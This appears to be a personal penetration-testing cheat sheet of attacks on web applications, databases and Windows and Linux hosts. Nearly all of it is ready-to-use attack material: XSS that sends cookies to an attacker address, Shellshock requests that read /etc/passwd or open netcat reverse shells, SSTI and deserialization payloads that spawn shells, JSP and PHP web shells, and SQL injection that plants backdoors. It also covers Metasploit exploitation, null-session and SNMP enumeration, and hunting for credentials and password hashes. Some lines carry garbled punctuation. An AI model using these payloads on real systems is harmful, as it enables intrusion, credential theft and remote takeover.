Tamper Data

Browser Redirection/IFRAME Injection in Unvalidated Web Form

–

nlvp 80 :first we set up nc listener on attacker

*Next we enter an iframe redirection in an unvalidated web form

<iframe SRC=

”

http://192.168.10.5/report

”

height=

“

”

width =

”

></iframe>

Cookie / Session Stealing

–

nlvp 80 :first we set up nc listener on attacker

*Next we enter javascript to get the cookie; get PHPSESSID info

<script>new

Image().src=

”

http://192.168.10.5/bogus.php?output=

”

+document.cookie;</script>

*Then enter PHPSESSID for Name in Cookies Manager+ and Session info in content

Server Side Template Injection

Example 1

–

404 Error Management :Uber SSTI Example

Enumerate the functions available:

http://site/test{{''.__class__.mro()[1].__subclasses__()[1]%7D%7D

Enumerate a specific function, in this case subprocess.Popen

http://site/test{{''.__class__.mro()[2].__subclasses__()[233](['CMD', 'CMD';])}}

Example 2 (Twig 1.9.0)

http://site/?name=hacker{{_self.env.registerUndefinedFilterCallback(%27exec%27)}}{{_sel

f.env.getFilter(%27COMMAND%27)}}

Shellshock (Apache Server)

Use Nmap to identify open ports. TCP port 80 is opened and Apache service running

Use Burp to navigate to the URL, detect that any URLs accessed when the page is loaded

By using Firebug, we can identify any CGI page which call system command /cgi-

bin/status in our example. Needed for exploiting shellshock

Read Arbitrary Files Example

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo

\$(</etc/passwd)\r\nHost: ip\r\nConnection: close\r\n\r\n" | nc ip 80

Attack Listener

nc -l -p 443

Reverse Shell Exploit (requires netcat to be on victim

’

s /usr/bin/)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc

<attacker_ip> 443 -e /bin/sh\r\nHost: <victim_ip>\r\nConnection: close\r\n\r\n" | nc

<victim_ip> 80

Alternate Example

Use Fiddler to identify cgi-bin packet, drop in composer to copy (or in Burpe right

click the GET request for cgi-bin and send to Repeater.

Test for shellshock: Replace the user agent string with User-Agent: () { :;}; echo

$(</etc/passwd)

In Burpe click go and you should see the response on the right, in Fiddler click

Execute and then when the response shows up click the response, Inspectors.

Drop a beacon through shellshock:

On your attack box type nc

–

p 1234 for the listener

In Burpe or Fiddler, replace the user agent string with User-Agent: () { :;};

/usr/bin/nc <attacker ip> 1234

–

e /bin/bash

If we don

’

t get a response that

’

s good because our netcat session is still open.

Tomcat

mod_jk

Looking at the GET request in this example only shows us Apache, not showing Tomcat

If we try to go to a non-existent page contained within the site, we see Tomcat version

This is indicative of a mod_jk vulnerability

Going to site/manager/html will not get you there because it

’

s only exposed by Tomcat,

not Apache

In our example site/examples is the Tomcate service, but site/examples/../manager/html

wont work because the browser normalizes in this example. Try

site/examples/%252e%252e/manager/html :here we have to double encode

–

mod_jk

decodes %25 as

“

”

, then tomcate decodes %2e as

“

”

tomcat/tomcat, admin/admin, admin/tomcat, admin/no password are default logins

Here we want to upload a .war file which is actually just a zip file

index.jsp (from PenTesterLabs)

–

alternatively you could use a Servlet too

</FORM>

<%@ page import="java.io.*" %>

String cmd = request.getParameter("cmd");

String output = "";

if(cmd != null) {

String s = null;

try {

Process p = Runtime.getRuntime().exec(cmd,null,null);

BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

while((s = sI.readLine()) != null) { output += s+"</br>"; }

} catch(IOException e) { e.printStackTrace(); }

}

Then put your index.jsp into a webshell folder

mkdir webshell

cp index.jsp webshell

cd webshell

$ jar -cvf ../webshell.war *

Tomcat 6:

If we try to upload through the button on the page we get a 404 error. Remember you

have to double encode to get to your directory. Right click the submit button and

select Inspect to see/modify the source code of the button and the form action should

show you a relative path. In this case change <form

action=

”

/examples/html/upload;jsession

…”

to <form

action=http://site/examples/jsp/%252e%252e/%252e%252e/manager/html/upload;jession...

Once Webshell is deployed you will see it in the GUI, but remember to access it you

have to use the full path

–

instead of site/webshell use

site/examples/%252e%252e/webshell/

Tomcat 7:

In our example, to get to the admin page we change site/example/jsp to

site/examples/jsp/%252e%252e/%252e%252e/manager/html. We right clicked the submit

botton, selected Inspect, then changed <form method=

”

post

”

action=

”

examples/html/upload?...

”

to <form method=

”

post

”

action=

”

/examples/%252e%252e/manager/html/upload?...>. Then we run Burp while we submit

the war file (which sends back an error because we don

’

t send any session information).

So to bypass this, reload your mamagement page, but before you forward in Burp right

click the request, Do Intercept

–

Response to this request (then forward the packet).

In the Response, we can see that the Path is set to /manager/ which is why we are

getting an error

–

we need a sessionID for that path. If we simply change

Path=/manager/ to Path=/. Forward the packet, change the path in your submit action

again, and you should see a webshell successfully loaded in your list. To access it

simply go to site/examples/%252e%252e/webshell/. There we can enter commands to run.

JSON Web Tokens

Article

JWT pattern: Base64(Header).Base64(Data).Base64(Signature) :Header itself is not signed

Sigs can be RSA based, ECC, HMAC, None

None Algorithm Example

In Fiddler look at 200 login page, Cookie Tab auth=

…

(might be in JSON tab)

Decode your auth string here (remember to remove auth=)

Change algorithm to None ("alg": "None") :Note for this to work do not copy the

signature = anything past the last

“

”

–

leave last

“

octet

”

blank

In Fiddler click composer tab, drag the packet that you had a successful login

Under Cookie or JSON copy your new auth=string, remember do not copy signature section

Click the Inspector Tab above, then WebView

Websites Using Git

Git Information Leak

With modern URL mapping (i.e. not relaying on the filesystem) , it's less and less

common to see this kind of issues but it's always important to look for them anyway.

wget

–

r http://site/.git/

#first, don

’

t run from bash from windows

–

it doesn

’

t work. Run from kali

#while wget is running open a new terminal and run the following:

Git diff

#this should show some files not downloaded, press enter

Serialize Exploits

XMLDecoder (Java Class) Deserialization

If you can get an application to use an arbitrary data in a call to the method readobject,

gain instant code execution.

Detection: contained in first line of signature generated by server. Example: <java

version="1.7.0_67" class="java.beans.XMLDecoder">

To get a shell, the Java code would look like this:

Runtime run = Runtime.getRuntime();

String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "9999", "-e", "/bin/sh" };

run.exec(commands );

Our payload in an xml file we submit to the site (using exec) to run looks like:

<?xml version="1.0" encoding="UTF-8"?>

</void>

</void>

</void>

</void>

</void>

</void>

</array>

</void>

</object>

</java>

Our payload in an xml file we submit to the site (using ProcessBuilder) to run looks like:

<?xml version="1.0" encoding="UTF-8"?>

</void>

</void>

</void>

</void>

</void>

</void>

</array>

</void>

</java>

ObjectInputStream, using readObject (Java Applications: Groovy, Jdk7u21, Spring1, etc) Deserialization

Applications using the method readObject() on data coming in from user are subject to this.

Detection: The cookie we receive when we login starts with rO0 (“ac ed” decoded), which is

usually an indication of a base64 encoded, Java deserialized object.

The tool ysoserial embeds gadgets that can leverage readObject. Download link here

java -jar ysoserial-0.0.4-all.jar

Our example is a Spring application, so we just use the Spring1 payload. If we didn't have

this information, we would have to try all the payloads and hope that a "vulnerable"

library is loaded by the application.

Generate our payload using:

java -jar ysoserial-0.0.4-all.jar Spring1 "/usr/bin/nc -l -p 9999 -e /bin/sh" | base64

Then copy the base64 output and copy it to the auth= portion of your replay packet.

Jenkins (Java Class) Deserialization

Jenkins supports serialised objects based on XStream. Previously, it was possible to get

code execution using java.beans.EventHandlerbut it's no longer the case.

Thankfully, Jenkins embeds few third party libraries that include Gadget that can provide

an attacker with remote code execution. The payload illustrated in this exercise relies on

Groovy:

<map>

<entry>

<groovy.util.Expando>

<entry>

<string>hashCode</string>

<org.codehaus.groovy.runtime.MethodClosure>

<string>/Applications/Calculator.app</string>

</command>

</owner>

<method>start</method>

</org.codehaus.groovy.runtime.MethodClosure>

</entry>

</expandoProperties>

</groovy.util.Expando>

</entry>

</map>

I had to append ?name=newName to the Jenkins URL that made new items & change to HTTP 1.0 &

also change application type to application/xml

POST /createItem?name=test HTTP/1.0

[...]

Pickle (Python Class) Deserialization

Python Application Using Pickle Library (turns objects->strings for easy storage in db)

After registering a user, we inspect the login page with Burpe or Fiddler. In the Cookies

we see a session=… In Burpe we can right click and send to decoder. We take the first part

of the session before the “.” and base64 decode it. If we base64 decode in Burpe it

stripped out the {} surrounding our variables required for JSON, but online at

https://www.base64decode.org/ it decoded properly. Everything after the first “.” Does not

decode so it appears to be part of a hash for the base64 decoded variable which we saw was

the user name. If we select the remember me function during login, then take that and send

to base64 decode we see both the old session id, and a new one that when decoded has a

really long line which is a good indication that something has been pickled. In this case

the remember me function is more likely to be vulnerable. Below is a python script to

pickle a code ourself and try to inject in place of the username variable. Run python

pickle.py. Take the output and replace your rememberme session, but don’t forget to also

remove the logged in session id otherwise the rememberme will get disregarded.

pickle.py (from pentesterlabs)

import cPickle

import os

import base64

class Blah(object):

def __reduce__(self):

return (os.system,(“netcat –c ‘/bin/bash –i’ –l –p 1234 “,))

print base64.b64encode(cPickle.dumps(Blah()))

Ruby on Rails Remote Code Deserialization (CVE-2013-0156, embedding YAML in XML)

)

Arbitrary deserialization that can be used to trigger SQL injection and even Code execution

Proof of concept exploit

Create a new action with arbitrary code in it. use the exploit above as copying and

pasting the payload will break the syntax of the YAML. YAML is very sensitive to line-

break and whitespaces. Here we can see that the YAML is used to run some Ruby code.

Scan for Ruby on Rails

auxiliary/scanner/http/http_version in metasploit :ports 80, 343, 3000, 3001, 4567,

8080, 8443, and 3790

Rails may be only be accessible at a certain path, such as /forum or /redmine

Scan for vulnerability

msf> use auxiliary/scanner/http/rails_xml_yaml_scanner

msf auxiliary(rails_xml_yaml_scanner) > set RHOSTS 192.168.0.0/24

msf auxiliary(rails_xml_yaml_scanner) > set RPORT 80

msf auxiliary(rails_xml_yaml_scanner) > set THREADS 128

msf auxiliary(rails_xml_yaml_scanner) > run

Exploit through MetaSploit

msf> use exploit/multi/http/rails_xml_yaml_code_exec

msf exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.0.4

msf exploit(rails_xml_yaml_code_exec) > set RPORT 80

msf exploit(rails_xml_yaml_code_exec) > exploit

cat /etc/passwd

Database Injection Attacks

SQL Injection Automated

sqlmap

–

u http://192.168.11.35

–

-crawl=1 :enum pages, search vulns

sqlmap

–

u http://192.168.11.35/comment.php?id=738

–

-dbms=mysql

–

-dump

–

-threads=5

:automate extraction of data

Sqlmap

–

u http://192.168.11.35/comment.php?id=738

–

-dbms=mysql

–

os-shell

:attempt to upload cmd shell on target

SQL Injection Commands Notes

SQL Injection Tests

test

’

OR 1=1;-- :try inputting to user field

test

’

OR 1=1-- :try inputting to user field

test

’

OR 1=1;# :try inputting to user field

test

’

OR 1=1 LIMIT 1# :developer limited output to 1 result

\ in username and in password field

’

or 1=1# :dev blocks

‘

so use / to escape

‘

example1.php?name=root' or '1'='1 :normal page name=root

.php?name=root' or '1'='1' %23 :(%23=#), same as above

.php?id=2%20%23 :(%23=#)

.php?id=3-1 also .php?id=2.0 or .php?id=1%2B1 :same as last entry (%2B=+)

SQL Injection Test with SQL Statement (look to see where echoed in SQL statement)

.php?order=name` %23 or name` ASC # or name`, `name :(# change to %23); results

wont change but wrong syntax breaks

name` DESC # :descending order

IF(1, column1,column2) or IF(0, column1,column2):sort compares values as strings not

integers if one column contains string

Bypass Input Validation Techniques

?name=root'%09or%09'1'='1 :(replace spaces with %09=\t)bypass

ERROR NO SPACE

?name=root'/**/or/**/'1'='1 :(/**/ alternate for #,ERROR NO SPACE

Alternative to above: sqlmap -u "http://192.168.79.162/sqli/example2.php?name=root" --

dump --tamper=space2comment

using mysql_real_escape_string can prevent above,

.php?id=3-1%09or%091=1 :in this example had to take out

‘

.php?id=3-1%09or%091=1%23123 :example where regex to test if last

character is integer

.php?id=2%0A or 1=1 (123\nPYLD,PAYLOAD\n123,PAYLOAD\n123\nPAYLOAD):%0A=line feed; for

regex using /m (PCRE_MULTILINE)

呵

' or 1=1 # :use a GBK character to bypass

mysql_real_escape_string()

SQL Injection Examples

wronguser or 1=1 LIMIT 1;# :basic SQL inj ex

exec master..xp_cmdshell

‘

ping <attackerIP>

’

--:MySQL

–

run code

http://192.168.11.35/comment.php?id=738 union all select 1,2,3,4,

”

<?php echo

shell_exec($_GET[

‘

cmd

’

]);?>

”

,6 into OUTFILE

‘

c:/xampp/htdocs/backdoor.php

’

:create malicious PHP file on server

and 1=0 union select

‘

’

INTO OUTFILE

‘

/var/www/html/mycode.php

’

:mysql

–

build malicious PHP file

exec master..sp_makewebtask \\ip\share\results.html, "select * from

information_schema.tables" :mysql-exfil data to attacker file share

MS SQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)

SELECT @@version :version

SELECT user_name(); :current user

SELECT system_user; :current user

SELECT user; :current user

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

SELECT name FROM master..syslogins :list users

SELECT name, password FROM master..sysxlogins

—

priv, mssql 2000; :list pass hashes

SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins

—

priv,

mssql 2000.

Need to convert to hex to return hashes in MSSQL error message / some

version of query analyzer :list password hashes

SELECT name, password_hash FROM master.sys.sql_logins

—

priv, mssql 2005; :list pass-h

SELECT name +

‘

’

+ master.sys.fn_varbintohexstr(password_hash) from

master.sys.sql_logins

—

priv, mssql 2005 :list password hashes

MSSQL 2000 and 2005 Hashes are both SHA1-based.

phrasen|drescher

can crack these.

SELECT name FROM master..sysdatabases; :list dbs

SELECT DB_NAME(N);

—

for N = 0, 1, 2,

…

:list dbs

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM

master..syscolumns, master..sysobjects WHERE

master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=

’

sometable

’

;

—

list colum names and types for master..sometable :list columns

SELECT name FROM master..sysobjects WHERE xtype =

‘

’

;

—

use xtype =

‘

’

for views:tables

SELECT name FROM someotherdb..sysobjects WHERE xtype =

‘

’

; :list tables

MS SQL Command Execution

EXEC xp_cmdshell

‘

net user

’

;

—

privOn MSSQL 2005 you may need to reactivate xp_cmdshell

first as it

’

s disabled by default:

EXEC sp_configure

‘

show advanced options

’

, 1;

—

priv

RECONFIGURE;

—

priv

EXEC sp_configure

‘

xp_cmdshell

’

, 1;

—

priv

RECONFIGURE;

—

priv

MySQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)

SELECT @@version :version

SELECT user_name(); :current user

SELECT system_user; :current user

SELECT user; :current user

SELECT system_user(); :current user

SELECT user FROM mysql.user;

—

priv :list users

SELECT host, user, password FROM mysql.user;

—

priv :list password hashes

John the Ripper will crack MySQL password hashes

SELECT schema_name FROM information_schema.schemata;

—

for MySQL >= v5.0:list dbs

SELECT distinct(db) FROM mysql.db

—

priv :list dbs

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE

table_schema !=

‘

mysql

’

AND table_schema !=

‘

information_schema

’

:list columns

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema !=

‘

mysql

’

AND table_schema !=

‘

information_schema

’

:list tables

MySQL Command Execution

Command Execution: If mysqld (<5.0) is running as root AND you compromise a DBA account

you can execute OS commands by uploading a shared object file into /usr/lib (or

similar).

The .so file should contain a User Defined Function

(UDF).

raptor_udf.c

explains exactly how you go about this.

Remember to compile for the

target architecture which may or may not be the same as your attack platform.

Local File Access:

…’

UNION ALL SELECT LOAD_FILE(

‘

/etc/passwd

’

)

—

priv, can only read

world-readable files. SELECT * FROM mytable INTO dumpfile

‘

/tmp/somefile

’

;

—

priv,

write to file system

SQL Injection to Shell Example

Fingerprinting

telnet site 80 :only if HTTP was available

GET /HTTP/1.1

Host: site :shows server/PHP version

openssl s_client -connect vulnerable:443 :telnet wont work on HTTPS

Then use Burp or Fiddler to see Server/PHP version

Enumerating using wfuzz

python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://site/FUZZ

*some systems use python wfuzz.py with wfuzz

python wfuzz.py -z file -f commons.txt --hc 404 http://site/FUZZ.php - detect php

scripts

changing site/cat.php?id=1 to site/cat.php?id=2-1 and working tells us site may be

vulnerable to injection

test site/cat.php?id=1

’

throws an error telling us SQL

test site/cat.php?id=1 and 1=1 gives us the regular page, testing for inj methods

test site/cat.php?id=1 and 1=0 doesn

’

t return anything because false, exploitable

site/cat.php?id=1 union select 1

–

throws error because we have to have the same amount

of matching columns so site/cat.php?id=1 union select 1,2 then site/cat.php?id=1 union

select 1,2,3

…

until finally union select 1,2,3,4 works

site/cat.php?id=1 order by 10 - tries to order by column #10. Our example throws error

so we try until we get the max value, which tells us the number of columns

site/cat.php?id=1 union select 1,@@version,3,4 - gives us version of database

site/cat.php?id=1 union select 1,user(),3,4 - gives us the current user

site/cat.php?id=1 union select 1,database(),3,4 - gives us the current db

site/cat.php?id=1 union select 1,table_name,3,4 from information_schema.tables

We notice a users table so we want to get info to be able to query it:

site/cat.php?id=1 union select 1,column_name,3,4 from information_schema.columns

–

notice login/password columns

site/cat.php?id=1 union select 1,login,3,4 from users

site/cat.php?id=1 union select 1,password,3,4 from users

–

looks like a hashed passwd

site/cat.php?id=1 union select 1,concat(login,

’

,password),3,4 from users

Cracking password

Try googling the hash to see if you can find the decrypted password easily OR

./john password --format=raw-md5 --wordlist=dico --rules

Getting Command Injection

Now that you have admin access log in to the site as admin

We create a php file and try to upload it as a picture:

<?php

system($_GET[

’

CMD

’

]);

But we get an error trying to prevent uploading php files

–

try changing extension to

.php3 or .php4 and we are able to upload.

We look at the source code to see where the image was uploaded to, /admin/uploads/

site/admin/uploads/test.php3?cmd=uname -a :runs our command

site/admin/uploads/test.php3?cmd=cat /etc/passwd :

Oracle Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)

SELECT banner FROM v$version WHERE banner LIKE

‘

Oracle%

’

; :version

SELECT banner FROM v$version WHERE banner LIKE

‘

TNS%

’

; :version

SELECT version FROM v$instance; :version

SELECT user FROM dual :current user

SELECT username FROM all_users ORDER BY username; :list users

SELECT name FROM sys.user$;

—

priv :list users

SELECT name, password, astatus FROM sys.user$

—

priv, <= 10g.

astatus tells you if

acct is locked :list password hashes

SELECT name,spare4 FROM sys.user$

—

priv, 11g :list password hashes

checkpwd

will crack the DES-based hashes from Oracle 8, 9 and 10.

SELECT * FROM session_privs;

—

current privs :list privs

SELECT * FROM dba_sys_privs WHERE grantee =

‘

DBSNMP

’

;

—

priv, list a user

’

s privs

SELECT grantee FROM dba_sys_privs WHERE privilege =

‘

SELECT ANY DICTIONARY

’

;

—

priv,

find users with a particular priv :list privs

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; :list privs

SELECT DISTINCT owner FROM all_tables;

—

list schemas (one per user):list dbs

SELECT column_name FROM all_tab_columns WHERE table_name =

‘

blah

’

; :list columns

SELECT column_name FROM all_tab_columns WHERE table_name =

‘

blah

’

and owner =

‘

foo

’

;

SELECT table_name FROM all_tables; :list tables

SELECT owner, table_name FROM all_tables; :list tables

Oracle Command Execution

Command Execution: Java can be used to execute commands if it

’

s installed.ExtProc

can

sometimes be used too, though it normally failed

Local File Access: UTL_FILE

can sometimes be used.

Check that the following is non-

null: SELECT value FROM v$parameter2 WHERE name =

‘

utl_file_dir

’

;Java

can be used to read

and write files if it

’

s installed (it is not available in Oracle Express).

MongoDB Injection (typically v2.2.3 and below)

user' || 1==1 // :SQL equivalent to:

‘

or 1=1 #

user' || 1==1 <!-- :SQL equivalent to:

‘

or 1=1 #

user' || 1==1 %00 :SQL equivalent to:

‘

or 1=1 #

Find MongoDBs with nNo Password Set

nmap -Pn -p 27017 --script mongodb-databases x.x.x.x :mongodb runs off port 27017

nosqlmap.py ; select option 4

–

scan for anonymous MongoDB Access

msfconsole

use auxiliary/scanner/mongodb/mongodb_login

show options

set rhosts x.x.x.x

exploit

Access MongoDB:

nosqlmap :cmd line tool w/automated steps

mongo <ip> :command line

Robomongo :GUI

Exploit (typically v2.2.3 and below):

exploit/linux/misc/mongod_native_helper

Password Guessing Example

/?search=admin'%20%26%26%20this.password.match(/.*/)%00: we can see a result.

/?search=admin'%20%26%26%20this.password.match(/zzzzz/)%00: we cannot see a result.

/?search=admin'%20%26%26%20this.passwordzz.match(/.*/)%00: we get an error message

(since the field passwordzz does not exist).

test if password match /^a.$/ if it matches test without the wildcard `.`(to check if

it's the full password). Then move to the next letter if it does not match.

test if password match /^b.$/ if it matches test without the wildcard `.`. Then move to

the next letter if it does not match

/^a.*$/ that will return true.

/^a$/ that will return false.

/^aa.*$/ that will return true.

/^aa$/ that will return false.

/^aaa.*$/ that will return false.

/^aab.*$/ that will return true.

/^aab$/ that will return true. The password has been found.

Mysql Passwords (On the box, not SQLi)

On a lot of systems you should be able to connect to mysql as root with no password

mysql

–

u root

show databases;

use [DATABASE];

show tables;

select * from [TABLE];

*the show and use cmd wont work with SQL injections, internal commands not part of sql

Enumeration

Registry Settings for Null Session Enumeration

HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous=0

:Win 2000 targets (default 0)allowing you to enumerate null remotely

HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM=0

:Win XP-10 targets (default 1), if 0 allows remote null enumeration

NetBIOS Info Scan

nbtscan

–

r <ip/cidr> :identify NetBIOS info

ENUM4LINUX (Null Session Enum)

enum4linux

–

v <ip> :enumeration tool in Kali, user names, shares,

password policies, etc

User Enumeration (Nmap)

nmap

–

script=smb-enum-users.nse

–

p 139 <ip> :enumerate users & if passwords needed

Establish Null SMB Session From Windows to harvest user names (Using enum by Jordan Ritter)

enum

–

S <target_ip> :list of shares (IPC$,ADMIN$,C$)

enum

–

U <target_ip> :list of users

enum

–

G <target_ip> :list of groups and member acconts

enum

–

P <target_ip> :password policy information

Establish Null SMB Session From Windows to harvest user names (Using the net cmd)

net use \\<ip> :attempts a null session

net view \\<ip> :view accessible shares

net use \\<ip>\<sharename> :shares such as IPC$,ADMIN$,C$

net use \\<ip> <password> /u:<user> :to use a user/password

net use \\<ip> /del :delete outbound SMB session

*important to delete sessions or you might not be able to establish more later

net session :view sessions

net session \\<ip> /del :delete inbound SMB sessions

local administrators \\<ip> :list admins after creation of null sess

global "domain admins" \\<ip> :list domain admins after null session

Enumerating/Translating Sids / Users

net use \\<ip> <password> /u:<user> :use username/pass if you have

user2sid \\10.10.10.10 <domain> :record the security id that generates

sid2user \\<ip> <previous info, no

“

> 500 :500 gives us the admin

’

s name

for /L %i in (1000,1,1010) do @sid2user \\<ip> <prev info no

“

> %i :enumerate users

Linux Assorted Enumeration Methods

cat /etc/password :locally

finger :locally-currently logged on

who :locally-currently logged on

w :locally-see what user is doing

finger @<ip> :remotely-usually off now

ypcat passwd :remotely-if Network Info Service server

ldapsearch <criteria> :remotely-if LDAP is in use

ESTABLISH NULL SMB SESSION FROM LINUX TO WINDOWS

smbclient

–

L <win_ip> -U <user> -p 445 :list shares

smbclient //<win_ip> /test

–

U <user> -p 445 :connect to share like ftp, ls, dir, cd,

get cmds

rpcclient

–

U <user> <win_ip> :establish session

Enumdomusers :list users

Enumalsgroups <domain>|<builtin> :list groups

Lsaenumsid :show sids on box

Lookupnames <name> :show sid associated with user or group

name

Srvinfo :show OS type and version

SNMP Enumeration through MetaSploit (helps find user accounts as well)

msfconsole

use auxiliary/scanner/snmp/snmp_enum

info

set RHOSTS 192.168.31.200-254

set threads 16

run

SNMP Enumeration

snmpcheck

–

t <ip> :way easier than 161 or snmpwalk

SNMP Enumeration

nmap

–

open

–

p 161 <ips> -oG snmp.txt :SNMP scan

echo public >> community :enter var in bash

echo private >> community :enter var in bash

echo manager >> community :enter var in bash

for ip in $(seq 200 254);do echo 192.168.11.$ip;done >ips

onesixytone

–

c community

–

i ips :161 brute forces snmp

snmpwalk

–

c public

–

v1 <ip> :Enumerate entire MIB tree

snmpwalk -c public

–

v1 <ip> 1.3.6.1.4.`.77.1.2.25:Enumerate Windows Users

snmpwalk

–

c public

–

v1 <ip> 1.3.6.1.2.1.25.4.2.1.2:Enumerate Windows Processes

snmpwalk

–

c public

–

v1 <ip> 1.3.6.1.2.1.6.13.1.3:Enumerate open TCP ports

snmpwalk

–

c public

–

v1 <ip> 1.3.6.1.2.1.25.6.3.1.2:Enumerate installed software

SMB Session Enumeration through MetaSploit (checks guest sessions for any credentials)

msfconsole

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.31.200-254

set threads 16

run

SMB User Enumeration through MetaSploit

Msfconsole

Use auxiliary/scanner/smb/enum_users

Set RHOSTS 192.168.31.200-254

Set threads 16

Run

Nmap Enumeration Scan

Nmap

–

P0 <target_ip> :detailed information

–

l /usr/share/nmap/scripts|grep smb :search for nmap smb protocol checks

Nmap Enumeration Scan

Nmap

–

P0 <target_ip> :detailed information

–

l /usr/share/nmap/scripts|grep smb :search for nmap smb protocol checks

SMTP Enumeration Scan (Email)

–

nv <ip> 25 :connect to email server w/netcat

VRFY bob :verify user, 250-successful, 550-fail

For user in $(cat users.txt); do echo VRFY $user|nc

–

w 1 <emailserver_ip> 25

2>/dev/null |grep ^

”

250

”

;done

*a bash script to run VRFY against a list of users, log errors to /dev/null, grep

successful attempts

Password Searching

Search for Commands

grep

–

“

password

”

/ :grep is linux, but can install grep for Win

find /i

“

password

”

:Windows command to look for

“

password

”

type *.txt | find /i

“

string

”

:Win command to search file types for string

type <file> | findstr <regex> :Win command for regex query

strings -n 7|grep

“

password

”

:strings=linux; sysinternals strings=win

select-string

–

path C:\users\*.txt

–

pattern password:Powershell equivalent to grep

Passwords in Group Policy

findstr /S cpassword \\domain\sysvol\*.xml :passwords often set in Group Policy

ruby gppdecrypt.rb <cpassword_results> :decrypt password from GP search

Key Logger in Meterpreter

keyscan_start;keyscan_stop;keyscan_dump :

Key Terms to Search For

.kdb & .kdbx :keepass file extension

.pfx & .cert & .pem :private keys

install :admins typically have install scripts w/creds

AutoSPInstaller :common sharepoint installer script w/creds

firewall :

password :

authentication :

security :

names :

finance :

e-mail :

ntds.dit :Windows Active Directory dump

Searching in Linux

Search for Proxy creds in Ubuntu

cat

–

vet /etc/apt/apt.conf.d/99proxy :

"http://username:password@proxyhost:port/";

cat

–

vet /etc/apt/apt.conf :for older versions

cat

–

vet /etc/cntlm.conf :cntlm proxy for passing Windows cred

/etc/passwd & /etc/shadow

smcbrien:x:502:502::/home/smcbrien:/bin/bash

x means password stored in /etc/shadow

–

not always the case

smcbrien:$6$fP.7DNf/$4PE9jqAbirrW7ERNuHthGLu4nLHDFz25jAGa2pJVTXhSfcfcSU.p3W87BX.nFzWKts

jw27ZZAyPGgx8sIyj9m:15579:0:99999:7:::

$1$=MD5,$2a$=Blowfish,$2y$=BF better,$5$=SHA256,$6$=SHA512

$fP.7DNf/$ = encryption SALT

4PE9jqAbirrW7ERNuHthGLu4nLHDFz25jAGa2pJVTXhSfcfcSU.p3W87BX.nFzWKtsjw27ZZAyPGgx8sIyj9m:1

5579m1 = encrypted & salted password

:15579:= number of days since unix epic (Jan 1,1970) last time this password changed

:0: =min # of days before a user can change password

:99999: =max # of days a user can keep the same password (password expiration)

:7: =user is warned 7 days before expiration of password

::: =1

field is inactive days, 2

=account expiration,3

= reserved

Basic Searches

find / -type f -exec grep -H 'text-to-find-here' {} \; :search for text

find /home

–

name .bash_history :good place to find cmds; . means hidden

.sh_history, .zsh_history, .ksh_history :alternative shells to bash

*openssl only supports MD5 hashing, try to search for those

find /home

–

name .bashrc :often used to config shell or load info

find /home

–

name .bash_profile :aslo important to look at

find /home

–

name .bash_history

–

type f

–

exec grep

–

‘

admin

’

{} \;

–

ls /tmp (or /var/tmp) :check tmp folder for leftover clues

/etc folder

–

cron jobs, shadow backups, etc

/etc/shadow :normally passwds are encrypted, but an

admin may try to user useradd

–

“

pass

”

and do plain text instead of already encrypting

Group Permissions

cat /etc/sudoers :users with sudo permissions

id | grep

‘

wheel

’

:RHEL 7 gives sudo to wheel group

tail /etc/group :map between names and GIDs

UID 0=root (always), 1-200=static system users, 201-999=dynamic sys users, 1000+=users

Search for passwords accidentally typed to shell

grep

–

A 1 passwd .bash_history OR find /home

–

name .bash_history | grep

–

A 1 passwd

find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwds typed in shell

find . -name .bash_history -exec grep -A 1 '^passwd' {} \; :passwds typed in shell

Searching for backups

find . -depth -print | cpio -o > *.cpio

cpio

–

vd < archive.cpio :extract the backup

cpio

–

t < archive.cpio :list the files of the cpio archive

cat backup | cpio

–

id /etc/fstab :same as below, extract one file

cpio

–

id /etc/fstab < archive.cpio :extract just fstab file from archive

cpio

–

to-stdout /etc/fstab < backup > fstab :try if permissions error above

cd /etc/cron.daily :check cronjobs for clue - dcrypt backup

tar

–

tvf file.tar :view TOC for tar archive (.tar)

tar -ztvf file.tar.gz :view TOC for tar archive (.tar.gz)

tar

–

zxvf file.tar.gz <file you want> :extract file from tar archive

Red Hat

/home/usr/.redhat-support-tool/redhat-support-tool.conf :online login to Redhat spt

Tomcat Passwords

Usually in directory where tomcat is installed, or directory starting w/tomcat in /etc/

tomcat-users.xml

Mysql Passwords

On a lot of systems you should be able to connect to mysql as root with no password

mysql

–

u root

show databases;

use [DATABASE];

show tables;

select * from [TABLE];

*the show and use cmd wont work with SQL injections, internal commands not part of sql

strings /var/lib/mysql/mysql/user.MYD

Then take root*

8246FACFAA5BB9CFDCDEAEDA and line below debian-sys maint, & combine

Should look like: root:*

8246FACFAA5BB9CFDCDEAEDA15DA4067EAA55FBC

Then use John Jumbo to crack

Password Cracking/Guessing

Password Lockout Policy

net accounts :windows-local passwd policy

net accounts /domain :windows-domain passwd policy

wmic useraccount list brief :admin accounts have SID of 500

*by default windows admin account cannot be locked out

grep tally /etc/pam.d/*;grep tally /etc/pan.conf:search for lockout policy-linux/unix

*by default Pluggable Authentication Modules doesn

’

t lock out root

Password Local Locations

/etc /password :Linux,contains user,encrypted pass, UID

/etc/shadow :contains password and account info

john <shadow backup> --format=descrypt :many older systems use DES

$1$=md5, $2$/$2a$=blowfish, $5%=SHA-256, $6$=SHA=512, md5 use md5crypt

